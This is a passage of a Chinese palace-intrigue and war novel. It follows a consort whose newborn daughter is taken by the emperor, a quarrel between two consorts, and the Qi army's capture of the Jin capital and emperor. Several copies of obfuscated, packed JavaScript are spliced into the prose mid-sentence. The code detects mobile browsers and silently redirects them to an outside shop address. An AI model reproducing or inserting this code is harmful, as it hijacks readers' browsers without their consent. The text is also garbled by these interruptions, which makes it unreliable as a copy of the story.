刘邈安排一个千户带人看管官员、镇守城市,自己带人去粮仓卷走半数粮草,与表弟沈明琛兵分两路,继续向北进发。 大齐此次行动隐秘且迅速,杀了金人一个措手不及,等他们反应过来时,南部边境已尽数落入大齐手中。直到此时,苦战才真正开始。 皇帝接到战报后亦是大喜过望,在早朝上宣布了这则喜讯。 文武官员们这才知晓,原来齐军已经同金军打上了。 “恭喜陛下,”作为皇帝最忠诚的文臣,宋首辅率先站出来贺喜,“自前朝建奴自立,奴儿干就脱离了中国掌控,如今我大齐终于再次控制部分领土,实在可喜可贺!” 有宋首辅开头,其他人自然不会去拂皇帝的面子,殿上一时间充满了欢乐的气息。 皇帝志得意满地下了朝,一直在等他的赵德光立刻走上前:“陛下,何美人发动了。” 皇帝的喜悦被打断,不满地皱了皱没,最终还是说:“摆驾永和宫。” 何美人是在晨定时发动的。永和宫宫人报到坤宁宫,皇后立刻带着所有宫妃一同前往永和宫。 一进西配殿,皇后立刻问太医:“不是说三月才会发动吗?怎么现在就发动了?” 太医立刻回答:“回娘娘,何美人早年伤了底子,胎相一直不稳,能撑到现在才发动,臣已竭尽全力。” 皇后立刻明白是怎么回事了,心中暗骂皇帝造孽。 何美人本就对皇后没有威胁,如今又被皇帝厌弃,皇后也不屑于针对她,命令宫女进产房转告稳婆:“务必要保何美人与皇嗣平安。” 皇后又问西配殿内宫人:“可派人去请陛下?” 殿内主事宫女回道:“回娘娘,奴婢已派人去请了。” 皇后点点头,带着众人守在产房外。 在产房内,何美人疼得几欲撞死在床头。她有孕后本就遭了很多罪,与皇帝撕破脸皮后又难以避免地郁结于心,这几个月来身体坏得很快。现在到了生死关头,她实在拿不出什么坚持下去的力气。 在疼痛中,她已经没有时间的概念,迷迷糊糊地听到稳婆大叫:“主子没劲了!” 皇帝赶过来,一进西配殿就听到稳婆的叫声,心中不喜,说话也丝毫不留情面:“务必要保证皇嗣安全,若实在没力气,就剖腹取子。” 皇后听得心惊肉跳,立刻站出来圆场:“陛下安心,还没到这种程度,晴兰,你去把本宫宫里那支百年人参拿过来。” 晴兰领命而去。 产房内,何美人听见陪伴自己多年的宫女在她耳边哭泣:“主子你再坚持一下,皇后娘娘已经派晴兰大姑姑取参了,您一定要撑住啊!” 她感觉自己又生出了点力气,可以撑下去了。 晴兰一路跑着去跑着回来,以最快的速度把人身带来,太医快速煮好参汤,着女医送进产房。一碗参汤灌下去,何美人终于又有了力气,攥着宫人的手继续发力。 皇帝没有耐心,等了不到两刻就回去处理政事,等吃过晚饭,天都黑透了,才再次摆驾永和宫。 永和宫内,皇后就这么在产房外守着,没有用膳,妃嫔们也得跟着皇后一起守,此刻一个个都饥肠辘辘、精疲力尽。见皇帝走进来,众人一齐行礼,皇帝让平身后有人险些没站起来。 “还没生出来吗?”皇帝问皇后,皇后便知道,这是嫌何美人生得太慢了。 皇后不知道何美人到底与皇帝闹了什么矛盾,也没有推动两人和好的好心,横竖何美人已无生命危险,皇嗣也能平安降生,她便只公事公办地解释道:“陛下,何美人这是头胎,生得慢些是正常的。” 皇帝点点头,坐在正屋主位的椅子上,皇后坐到左下首,其他人皆顶着劳累恭恭敬敬地站着。 好在很快稳婆的声音就传出产房:“看到头了!再使使劲!” 不多时,一声啼哭后,稳婆抱着孩子走出产房。 “恭喜陛下,恭喜娘娘,是一个小公主。” “快来给本宫看看,”皇后笑着说,晴兰从稳婆手中接过孩子,抱到皇后面前,“当真是可爱,陛下可要看看?” 皇帝只看了一眼就没再看,下令道:“何美人神志不清、言行无状,不堪为人母,三公主记在顺嫔名下。” 所有人都震惊了。 顺嫔战战兢兢地推辞:“陛下,妾已经有大公主要教养,恐怕精力不足,况且孩子是需要生母的……” “你要养育两个公主,再住东配殿不合适,从今日起改住延祺宫正殿。”皇帝不耐烦地打断她。 顺嫔心下知晓,若自己再推辞,只怕也会遭皇帝厌弃,乖顺地接下命令。 沈明珮看着这一幕,不寒而栗。刚刚生产完的产妇,孩子直接被抱走,彻头彻尾地成了别人的孩子,自己还被说成“不堪为母”,这是何等的侮辱?便是何美人与皇帝间矛盾再深,又何至于如此作践人?皇帝这是根本不把何美人当人看啊。 有此想法的又何止是何美人?在场的后妃们,哪怕立场不同,利益有冲突,也都是皇帝的女人,见何美人被这般对待,难免生出兔死狐悲之感。有人悄悄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16902181|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 偏过头,实在不忍心再看这一幕。 皇帝没再多留,安排完便离开,皇后也放妃嫔们回宫。 “你们几个,帮助何美人生女,皆有功,当赏!”说着,晴兰将荷包送进太医和稳婆的手中,几人谢恩后离开。 离宫中落锁还有时间,后宫众人回宫后纷纷令尚食局传膳。已经凉了的餐食还要重新加热,一些菜更是要重新做,尚食局一时鸡飞狗跳。 等皇后吃过晚饭后,时间已经很晚。她放下筷子,犹豫后还是走向乾清宫。 皇帝已经准备安寝了,听到通传后还是放她进来。 “这么晚了,梓潼有何时?”这是不太欢迎她来,希望她识相些,自己离开。 可惜皇后今天晚上不太识相。 “陛下,何美人毕竟生下了三公主,是不是该晋晋位份?” 陛下似笑非笑地看着她:“朕往日不知,梓潼竟如此贤惠?” 皇后心中一凛,笑着说:“毕竟同在宫中,也算是妾身的妹妹,妾身也想她们能过得好点。” “呵,她可未必想当你的妹妹,”皇帝毫不留情地否决,“三公主的母亲只有顺嫔,宫内和史官记载有孕的也只会是顺嫔,何美人就病故吧,具体你来安排。” 皇后将发抖的手藏在袖子底下,屏着气低声应道:“是。” 永和宫西配殿内,何美人终于睁开眼睛,第一件事就是问:“孩子呢?” 宫人不答,只低声哭泣。 何美人心中生出一股不祥的预感,她又问一遍:“我的孩子呢?” 宫人哭诉:“陛下把三公主记到顺嫔名下了!” 还有更多难听的话,她根本说不出口。主子才刚生下孩子,怎么能受得了啊! 何美人的眼泪瞬间就流下来。 良久,她才低下头,低声说:“也罢,离开我这个被陛下厌弃的母亲,也好。” 第二天何美人便病了,病得极重,太医也束手无策。 他实话实说:“何美人这是存了死志,臣实在无能为力。” 西配殿内众宫人无奈,只能由太监去太医院拿吊命的药,可太医院竟然连吊命的药都不给。太监苦苦哀求,太医叫来两个药童,三下五除二地把他架起来扔到太医院外。 “没有就是没有!别在太医院闹事!” 太监两手空空地回到永和宫,正要道歉,何美人制止住他:“是陛下要我死,就这样吧。” 宫人们泣不成声。 何美人要死了,宫里人尽皆知,但这一次没有人嘲笑她的处境。 几日后的一个夜晚,一个穿着夜行衣的女人翻进永和宫,闯入何美人的寝房。何美人已是行将就木之态,瞪大眼睛看着这个不速之客,连喊人捉拿她的力气都没有。 “何美人,在下今夜来此是为了告诉你一个消息,你的父兄在你生下三公主的第二天就被皇帝以叛国罪下狱,已定了满门抄斩。” 何美人大睁着僵在床上,连呼吸都骤然停顿。几息后,她剧烈地咳嗽,咳个不停却没有多大声音。半晌,她终于止了咳,低声笑着,听在来人的耳朵里犹如鬼哭。 “何美人,你还想就这么死去吗?”来人问她。 19. 大胜 何美人的病竟然奇迹般地好了。三公主洗三时还缠绵病榻、命不久矣,三公主满月时已经能够坐起来。 三公主的满月宴办得不大,皇帝也没来。皇后久等皇帝不至,直接宣布开宴,顺嫔也并不尴尬,坐在皇后下首非常镇定地等菜肴上来。三公主被奶娘抱着,向皇后行了个礼后就回到她的房间内,期间顺嫔也没有给哪怕一个眼神。 “这不是自己生的就是不一样啊,她对大公主哪有这么不上心。”王美人就坐在沈明珮身边,见状凑过来对着沈明珮耳语。 去岁冬天金人被击退后,两人的关系倒是有些好转。但这话是能对别人说的吗? “慎言,”沈明珮提醒她,“陛下说顺嫔是三公主的生母,顺嫔就是三公主的生母。” 王美人撇撇嘴坐回去,拿筷子戳自己碗里的鸡肉。 乾清宫内,皇帝刚结束了上午的政事。正打算传膳,大太监走上前来。 “陛下,”他弓下身,挤着笑容说,“三公主今日满月,皇后娘娘正举办宴会,陛下可要去看看?” “三公主?”皇帝一番疑惑后才想起来何美人生了个公主,心下不喜,但他也想起来三公主如今是顺嫔的女儿,勉强点头,“那便去看看吧。” 于是后妃们吃到一半,皇帝姗姗来迟。 皇帝来了,其他人自然纷纷放下筷子,行礼问安。皇后立刻安排宫人再备一席菜,被皇帝拦住。 “不必了,朕就过来看看。三公主呢?” 话音落下,立刻有人跑去把三公主抱来。 “陛下您看,三公主多像您啊。”顺嫔接过三公主,走到皇帝身边,边举着孩子给他看边说。 已经有一个月大的三公主没有了刚出生时的皱皱巴巴,睁着大眼睛好奇地看着皇帝。皇帝审视着看了一会儿,并不觉得她有多像自己,反而更像那个自己讨厌的何美人。皇帝看向三公主的眼神便带了些不喜。 小孩子固然神智懵懂,对恶意的感知却是明显,三公主立刻瘪起嘴,眼看着就要哭出来。 皇帝皱起眉毛,显然有些生气了。 “陛下恕罪,”顺嫔一边道歉,一边命乳母把三公主抱下去,“三公主应当是饿了,妾让乳母喂她。” 皇帝的怒气好歹是止住了。 “陛下,三公主已经满月了,是不是该赐个名字了?”皇后又问,此前的四个孩子最迟也都在满月有了名字。 但这次皇帝居然没有赐名。 “先不必了,等她长长再说。朕还有公务要处理,就不留了。”皇帝说完,头也不回地离开。 去年新入宫的妃嫔不知所以,有一定资历的都立刻意识到,皇帝不喜三公主。顺嫔的脸色也很差,三公主现在记在她名下,皇帝这么明显地表示出不喜,不也下了她的面子吗? 好在宁妃这时候发声解围:“娘娘,顺嫔妹妹,我看不如先给三公主起个小名儿,总不能一天天就叫孩子三公主啊。” 皇后点点头:“宁妃言之有理,顺嫔你自己给三公主起个小名儿吧。” “是。多谢娘娘,多谢宁妃姐姐。”顺嫔感激地道谢。 皇帝回到乾清宫,凑合着吃了几口饭,就继续批阅奏折。桌上的这一摞批完后,有太监端着一小叠密折呈给皇帝。 “陛下,这是奴儿干的军报。”太监低声汇报后默默退下。 皇帝歇了本想休息一番的心思,立刻展开密折。 这段时间他也有些着急。自从齐军占领金人南部边境后,金人朝廷也反应过来,派兵南下应对齐军。双方从齐军单方面偷袭转变为互相交战,齐军向北推进的进度也一下子就变慢。 当然,有着已经占领的南部边境保底,皇帝虽然心有焦急,却也算不上焦虑。先前突袭以快为重,辎重并未跟上,眼下后方全力运转,先头部队顶住金军攻势后已然补足补给,战况朝着有利于大齐的方向发展。 而今日,他终于又收到一则喜讯——齐军以宁远指挥使刘邈与前屯指挥佥事沈明琛为先锋,大胜金军,击溃金军主力,金人再无能力阻止有效进攻。 “好!”皇帝不由自主地大喝,“不愧是刘顺带出来的儿子和外甥!” 他心中喜悦恨不得立刻就与人分享,竟站起身,推门走出乾清宫正殿。 “赵德光,”他命令守在殿外的心腹,“唤所有阁老以及六部尚书入宫。” “喏。”赵德光不问原因,立刻执行。 延祺宫内,漫长的宴会刚刚结束,沈明珮正欲回宫,忽然被人叫住。 “沈昭仪。” 沈明珮转身,看见孟才人。自孟家满门抄斩,沈明珮已经很久没有关注孟才人,此时与她对视,才发现她已经快瘦成皮包骨,面色也是惨白,竟已经快没有活人的样子了。 “沈昭仪可愿与我同走一段?” 孟才人的话让沈明珮狐疑地皱眉,但她思索后还是同意了。 “那便一起走一程吧。”总要看看她安的什么心。 两人并排而行。孟才人走得很慢,沈明珮也不得不放慢脚步。没有人主动说话,沉默在两人间蔓延。 走到一个十字路口时,孟才人停下来。 “说起来,我与沈昭仪还是姨表姐妹,论理你当叫我一声表姐。” “还是算了吧,”沈明珮不认这亲戚,“谁家的表姐这么坑害表妹。” “呵呵,”孟才人低笑,“谁让我娘和你姨娘非同母所生呢。你知道吗?当初是我外祖母知晓沈大人要来,说服我外祖父,故意安排他见了你姨娘,你姨娘才会被看上。本以为你姨娘会被你那嫡母折磨死,谁想到最后出了你和沈明琛!” “这就是报应,”沈明珮神色淡淡,“你外祖母若是没有害我姨娘,我舅舅就不会离家从军,我兄长和我也不会出生。你父母若是没有与定国公府勾结,妄图残害我舅舅、表兄和兄长,你孟家也不会满门抄斩。你们落到现在这个境地,纯粹是咎由自取。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16912822|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “哈哈哈哈,咎由自取,没错,我们确实是咎由自取,”孟才人笑得弯下腰,又骤然抬起身,瞪大了眼睛死死看着沈明珮,嘴角向两侧勾起,“但是你以为你那个姨娘就是什么好东西吗?我告诉你,她婚前就与人私相授受,若不是她那个妓女娘被我外祖父母控制住,她早就跟那个书生跑了!陛下还给她封了敕命,她配吗?你那妓女外祖母更是,居然和洋人搞在一起去了!你自己也是魅惑君上,逃了定国公府三公子的婚,可见你们祖孙三代都是□□!” 孟才人不知道,这些事情沈明珮早就知道了,她说的这些无法对她造成任何影响。 “你真可怜啊,”沈明珮轻轻一笑,“用这种事情攻击我姨娘和我,可见你确实是没什么办法了。可惜,我宁愿我自己没出生,换我姨娘同那书生离开刘家。我相信我姨娘也宁愿我外祖母同传教士出海传教,哪怕她因此不会出现在这世上。至于我自己,你信不信你刚刚的话传到陛下耳朵里,你立刻就会死?” 趁孟才人神色大变,她快步离开。 “不可能!”孟才人大喊,“怎么可能会有人宁愿自己不出生?” “为什么不可能?只是你不相信罢了,”沈明珮停下脚步,没有回头,“陛下仁慈,孟家犯下这等大罪,他依然留了你的性命,甚至没有惩罚你,你也识相点,老实活着,别再惹是生非了。” 说完,她不再理会身后崩溃的孟才人,一步不停地走回景阳宫。 孟才人的话到底还是传进了皇帝耳朵里,彼时他刚送走各位重臣,正欲休息一会儿,听到禀报后心中的喜悦顿时散了一大半。当晚,孟才人就被禁足一个月。 第二天,皇帝临时加开早朝,早朝刚开始就将密折公之于众。 “各位爱卿,朕今天要告诉你们一则喜讯。我大齐军队已彻底挫败金军主力,收回奴儿干已指日可待!” 除了已经知晓的十位重臣外,其他大臣先是震惊,而后便是狂喜。自前朝末年建州女真自立后,奴儿干便成了金人领土。彼时金人来势汹汹,几乎打进山海关内,初生的大齐拼尽全力才将他们打住。此后太祖与太宗收回辽东,第三任皇帝北伐失败,大齐便与金人陷入僵局,甚至每逢秋冬,金人还不时侵扰大齐边境。时间又过去几十年,他们终于看到了收回领土的曙光,还是在他们为官期间,这是何其有幸! “天佑陛下,天佑我大齐啊!”有须发皆白的老臣喜极而泣,他是开原人,父亲死在金人的侵扰中,如今金将被灭,他兴奋得不能自已。 其他人又何尝不是如此?朝堂秩序一时失控,但皇帝任由他们狂欢,并未喊人维持秩序。事先已经知道消息的阁老与尚书们同样是喜不自胜,与旁人一同庆贺。 这则喜讯很快从前朝传到后宫,从朝堂传到民间,从京城传到各地。所有人都在翘首以盼,等着齐军攻破金人王廷。 齐军没有让人们失望。半个月后,蓟辽总兵刘顺亲自上阵,率兵攻破金都的城门。 20. 金灭 金上京内,齐军长驱直入,直奔金人皇宫而去。 金人最初并非以此地为都城。建州女真反叛时定都赫图阿拉,随后一路向南推进,先后定都辽阳、盛京。但新朝建立后,金人南下入关的雄心被彻底挫败,大齐前三代皇帝又步步紧逼,遂一路北退,将国都定在曾属科尔沁部的上京。 事实证明他们是正确的,若是依旧定都赫图阿拉,只怕在第一波突袭后金就已经灭亡了。但这也只是暂缓了他们灭亡的脚步。 沈明琛与部下骑马冲进金人皇宫。宫中侍卫已经严阵以待,见到齐军就抽出武器。沈明琛抬起鸟铳,枪响之后,侍卫首领已然中弹,气绝身亡。 其余侍卫看着首领倒下,依然往前冲。沈明琛抬起右手,身后的士兵全部举起鸟铳,而后他将手落下,身后鸟铳齐放。子弹纷纷打在敌人身上,齐军面前再无阻挡。 金国皇帝正要逃跑。平时再受宠的妃子和公主此刻都被他抛弃,他甚至连皇后都没带走,只带了太子和他一起逃命。 “把后妃公主全部处死吧,省的她们落到齐人手里。”他冷酷地命令自己的心腹,暗卫统领,暗卫统领领命而去后就带着其他暗卫杀向各宫。 皇宫中的女眷怎么也没想到,自己没死在齐军手里,反而死在金国皇帝的命令下。一时间,宫内惨叫声更盛。宫女太监趁着宫中一片混乱,纷纷奔逃出宫,一路上若是倒霉碰上暗卫或是交战的齐军与金人卫兵,也一样丢了性命。 刘邈带着人冲进金人皇宫,挨个搜查每一座宫殿,看到的都只有后宫女眷和宫女太监的尸体。 “将军,这……怎么都死了?”副将迟疑地问他。 “显然是那金国皇帝下的令,”刘邈声音森冷,“兵分两路,主力去搜皇子所,我就不信他还把皇子都杀了,剩下的再去其他宫,看看有没有幸存者。” 刘邈所率部属立刻兵分两路行事。过了一阵,一支队伍拖着一串青年、少年、幼年男性浩浩荡荡地赶回来,另一支队伍则是空手而归。 “将军,属下去晚了,宫中女眷与其宫人俱已毙命,”副将回复,“属下搜查途中遭遇暗卫数人,均已击毙。” “好,”刘邈又问另一队,“他们可有人供出金人皇帝的下落?” “将军,属下已带人审过,这些皇子都不知道金人皇帝的去处。金人太子也不在这些人中,大概是跟着他们皇帝一起跑了。”为首的将领报告。 “先把这些人关好。”刘邈正命令着,突然跑过来一个传令兵。 “小刘将军!”他大喊,“沈将军抓住金人皇帝与太子了!” 却说金国皇帝下令杀死宫中女眷后,带了几个暗卫,穿着普通太监的衣服趁乱向宫外跑。很不幸的是,他们奔跑的方向正是沈明琛带兵冲进皇宫的方向。 “哎,你们是什么人,给我停下!”前头的小将立刻拦住他们。 “军爷,我们是这宫里的内监,”暗卫受过各种训练,夹起声音也是非常熟练,“国都亡了,我们也想跑出去过普通人的生活,军爷您能不能行行好,把小人们放了?” 沈明琛听见前面的动静,走上前去。 “抬起头来,”他坐在马上,居高临下地看着这几人,“把脸露出来。” “喏。”几人一边应着一边露出脸。 他们都是新刮的胡子,脸上光洁无比。但沈明琛看着其中两人,总觉得他们的气质不像宫中底层的小太监。 “这样,你们随我们一起走,若是最终你们确实只是普通内侍,我就放你们走。”不给他们反对的机会,沈明琛一招手,立刻有一小队人上来,把人控制住带进队伍里。 金国皇帝心怦怦狂跳。走进队伍中,见齐军确实只是暂时看管他们,他松了口气,结果没等他气松完,他就听见一道绝不想在此时听到的声音。 “父皇?皇兄?” 只见他本应死在暗卫刀下的三女儿,此刻正伤痕累累地爬在齐军的战马上,惊讶地看着他们几个。 “将军,他们是皇帝和太子!”金国三公主大喊,“别让他们跑了!” 眼见着身份是藏不住了,暗卫拔出刀,向三公主挥去。铛的一声,另一把刀架住他,随后他身后冒出有一把刀,直接将他捅了个对穿。 几个暗卫瞬间被解决掉,金国皇帝和太子被捆了个严严实实,拖在战马后面。 “你这个叛徒,本宫和父皇的大计都被你毁了!”太子被拖着向前走,心里恨得不行,愤怒地指责三公主。 三公主同样也很生气:“你们都派暗卫来杀我了,我凭什么不能把你们供出去?要不是齐军救我,我现在已经死了!” “朕这么做也是为了让你们不落入敌军之手,你们一个个弱女子,被齐人虏去,谁知道会遭遇什么?”皇帝理直气壮又语重心长地解释,随后就挨了一鞭子。 “闭嘴吧,当我们大齐是你们呢?”沈明琛的副官举着马鞭没好气地说,“你要是再胡言乱语,我们带着你的人头回去也一样。” 两个男俘虏悻悻地闭上嘴。 沈明琛与刘邈汇合时,齐军已经彻底掌控上京城。三公主听到后宫女眷除她全部被暗卫杀死的消息后直接晕了过去,被军医带下去治疗。此时皇宫已经全部搜查完毕,所有危险都已清除,两人将部分将士留在宫里,带着剩下的军人和俘虏直奔刘顺所在的上京官衙。 金都被破、金帝被俘的消息八百里加急地传回京师。传令兵跑死好几匹马才跑到京城外,守门士兵一看是蓟辽军的传令官,立刻放行。 彼时宫中正在上朝,几天几夜没睡觉的传令兵顶着大黑眼圈,骑着马直接跑进宫里,一路跑到皇极殿前。 皇极殿外突然出现一个传令兵,文武百官都下了一跳。 传令兵翻身下马,站都站不稳,却直接冲进殿内,举着一封折子大声道:“陛下,金上京已破,金伪帝伪太子已被俘!” 这则喜讯足以抵消他宫中策马、无诏冲进皇极殿的所有冒犯。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921261|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “很好!”虽有预料,皇帝依然大喜,忙命人道,“来人,将我大齐的功臣带下去好好休息!” 筋疲力竭的传令兵倒头就要栽到地上,好在立刻有人将他架住,抬到侧殿休息,避免了一场狗啃泥,他手中的折子也被人送到皇帝手里。太医很快就请过来,为他诊治。 “大人放心,”太医诊断道,“只是久未休息,过于疲累,多睡几天就好了。” 在传令兵冲进京城时,京内百姓就已经有了猜测,很快,皇帝下诏,亲自公布金上京被破、金帝被生擒的喜讯。宫里,同样得知此事的皇后立刻又把宫妃全部召来。 沈明珮刚结束晨昏定省,回到殿内椅子还没坐热,坤宁宫的宫人就又叫她回去。她走到坤宁宫时,其他人已经都到了。 “沈昭仪来了,”皇后居然一反常态地对她满脸笑容,“快坐。” 只见整个正殿中只有皇后左下首还有一个空位。沈明珮狐疑地坐上去,不知道皇后要做什么。 “本宫叫你们过来,是为了告诉你们一则好消息,”皇后面带喜色,“刚刚蓟辽军的传令兵传来喜讯,金人都城已被我大齐收回,金人伪帝、伪太子也已经被我大齐俘虏。” “确实是天大的好消息,”宁妃附和,“多谢娘娘特意告知我等。” “本宫还没说完,”皇后说着竟然拉住沈明珮的手,“生擒金人伪帝、伪太子的功臣正是我们沈昭仪的哥哥,沈明琛沈小将军。” 刷地一下子,众人的目光集中到沈明珮身上。这些目光有的太过热切,让沈明珮有些不舒服,她想把手缩回来,但被皇后紧紧抓着,挣脱不得。 “恭喜沈昭仪,”在热烈的安静中,最先说话的竟然是何美人,“有沈将军的功劳在,沈姐姐这次应当可以做娘娘了吧。” 三公子满月后第二天,何美人就恢复了每日的请安。她一如既往地沉默,坐在坤宁宫中如同背景板上的一处,毫不起眼。她也再没提起过三公主,好像三公主真的是顺嫔生下的孩子一般。这一次她骤然的发言让沈明珮很疑惑。 的确,她距离能被称为娘娘的最低品阶,嫔,只差一级,她哥哥的功劳也足以让她升位,但这是能主动说出来的吗? 偏偏皇后还在一旁帮腔:“何美人说得没错,本宫也要先恭喜沈昭仪了。” 沈明珮感觉自己成了众目睽睽之下的一个靶子,旁人的目光如子弹一样将她穿透。 她立刻推辞:“多谢娘娘,多谢何妹妹,只是位份这种事还是要看陛下的意思,妾不敢妄自断言。” 皇后闻言拍了拍她的手:“沈昭仪总是这么小心,行,那我们就等陛下的旨意。” 沈明珮趁机把手缩回去。皇后这番让她浑身起鸡皮疙瘩。 何美人又恢复了背景板一般的模样,皇后又说了些关于蓟辽军和沈明珮的漂亮话后终于放众人离开,行礼告退后沈明珮第一个冲出坤宁宫。 太诡异了,她怕多留一会儿皇后就能笑着捅她一刀。 21. 救驾 攻占金上京后,齐军继续北上。金人本就由各个部落组成,如今没金帝父子被俘,部落联盟立刻散了架,其他部落皆作鸟兽散。齐军在后面追,他们在前面跑,一部分跑到西面的蒙古,一部分慌不择路地横渡北面大河和东面海峡,剩下的或是被剿灭或是投降大齐。 以上这些扫尾工作由山东、河南两省军队完成。此外,广宁指挥使组织搜集渡船,深夜横渡东面海峡,竟夺下了金人残部藏身的岛屿。 占领金国全境后,山东、河南两省军队准备打道回府,刘顺安排部下率队镇守收复地后亦带着其他人回京献俘。俘虏被夹在齐军阵中层层看守,金人皇帝和皇子王孙们都在最前面,关在囚车里,其他各部落首领、大贵族极其家眷跟在后面,绳子捆着双手,脚上戴着镣铐。 队伍浩浩荡荡地南行,传令兵先行一步,将军报传至京城。 “陛下,蓟辽军军报。”乾清宫内,皇帝正批阅奏折,太监将军报呈上。 自齐军反攻金人后,皇帝便下令给乾清宫所有御前女官、太监,蓟辽军军报可在任何时间直接送上。 皇帝立刻放下奏折,接过军报,看完后连说两声好,立刻命令候在一旁的太监:“传礼部尚书入宫。” 景阳宫内,寒露眼见着乾清宫内当值的太监偷偷找上白芷,悄声说了些什么后小跑着离开。她默不作声地回到东佩殿寝房,将这一切告诉沈明珮。 “应该是好事,”沈明珮听完后推测,“如果是坏事这东配殿内就该有动静了。我猜是舅舅他们要回来了。” “奴婢觉得主子猜得对,”寒露非常相信沈明珮,“只是任凭白芷这样,没有问题吗?” “没关系,就让她这样吧,”沈明珮无所谓地说,“陛下的人是我们能动的吗?哪怕将她调到不起眼的位置,只要她告诉陛下,陛下就可能理解为我们心里有鬼。动她是不值当的。” 沈明珮感觉自从去岁初冬被皇帝杖责的十板子以正常宫人不该有的速度痊愈后,白芷就清楚她身份暴露了。此次与乾清宫太监接头能这么轻易地被寒露发现,也是因为她根本没打算藏。 沈明珮心里清楚,以皇帝的性格,只怕每个宫里都插了自己人。 传话的小太监跑回乾清宫时,礼部尚书已经到了。礼部尚书是本代衍圣公,身为孔圣人后裔,向来以教条著称,张口闭口皆是礼教。 “臣叩见陛下。”一进正殿,他就毕恭毕敬地行礼。 “爱卿平身,”皇帝单刀直入,“伐金联军不日将班师回朝,届时蓟辽总督将派人向朕献俘。朕欲命你礼部承办此次大典。” 这是好事,自然没有什么可质疑的。 “臣遵旨,”礼部尚书接旨,而后又向皇帝道贺,“臣恭喜陛下收回前朝失地,降服反叛异族,陛下之功光耀大齐。” “孔爱卿所言,朕心甚慰,望孔爱卿与礼部圆满操办献俘大典。”礼部尚书古板教条却依然稳居尚书之位,靠的就是这张极会说皇帝好话又不显谄媚的嘴,他这么一说皇帝心情也是更好。 好听话也要说得适度,皇帝说到这儿了,孔尚书便恭敬地退出乾清宫,直奔礼部衙门而去。一进官衙,就叫来两位礼部侍郎。 “陛下欲办献俘大典,命我部准备。” 宫里的皇帝暂时不想批奏折,靠在椅背上休息。闭目养神间,他还想着刘顺送来的军报,想着想着就想到了沈明珮。 臣子立了大功,做皇帝的不能不对功臣在宫里的亲人有所表示。 这么想着,皇帝睁开眼睛,命令贴身伺候的太监:“摆驾景阳宫。” 景阳宫内,沈明珮一身整齐的燕居服,头戴两支金钗,正在寝屋内看书。她虽然在看书,注意力却不在书上,时不时看向门外,脸上也早就化好了淡妆。 “奴婢见过陛下!”突然间,门外传来此起彼伏的声音,沈明珮心下有底,舅舅他们是彻底把金人拿下了。 她合上书,步履翩翩地走出寝屋。 “妾见过陛下,陛下吉祥。”她姿态优雅地行礼,被皇帝拖住。 “爱妃免礼,”皇帝满面春风,对她也很温和,“朕给爱妃带来了一则好消息,爱妃可想听听?” 沈明珮大概知道是什么消息,抬起头看向皇帝,眼里仿佛有星星。 “陛下可否告诉妾?” “当然可以,”皇帝笑着说,手搭上她的肩膀,“你舅舅已经彻底收回金地,过些日子你兄长会代表齐军向朕献俘。” 沈明珮先是惊讶,而后便是欣喜。从睁大的双眼,到欣悦的笑容,都按照事先的计算进行,完美得无可挑剔。 “太好了!”她大声欢呼,然后做出才想起来皇帝也在的情状,快速站起身蹲到皇帝面前行礼道贺,“妾恭喜陛下收复失地,有陛下在,大齐必会更加昌盛。” 皇帝笑着伸出双手,将沈明珮架着抬起。 “爱妃的兄长、舅舅皆是我大齐此次伐金的大功臣,就不必行礼了,”沈明珮的表现极大地取悦了他,让他有自己必将名垂青史之感,“爱妃吉言,朕相信定能成真。” “这也是妾身始终相信的。”沈明珮说这话时,并非全然的爱慕,也有笃定与期待。 皇帝心情更加愉悦。宫中以爱慕的姿态面对他的有很多,以对夫主的态度敬畏他的也有不少,但他享受爱慕与敬畏的同时又不满足,沈明珮这种笃定与期待恰好在此时此刻填补了这丝不满足。 可惜沈明珮不知道他的心路历程。若是知道,必会送他一个白眼,再评价一个“贱”。 “爱妃可要与朕在宫里逛逛?”他心情好,又有美人在侧,就想同美人一起游玩。 “陛下相邀,妾不胜荣幸。”沈明珮断然不会把人往外推,笑着应下。 两人并肩走在宫道上,身后跟着一排宫女太监,还有几个侍卫。 景阳宫离乾清宫很远,离御花园倒是比较近,两人本也没有确定的目的地,走到御花园附近,便径自走进其中。 已是春日,御花园中花开得正盛,可惜园中除了皇帝与沈明珮一行人外,并没有其他人来赏景——宫中规矩森严,宫妃就连来御花园赏景也需批准。此时皇帝带人进入,御花园竟成了帝妃一行人专属的乐园。 御花园内呈不对称结构,一群人进入其中后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 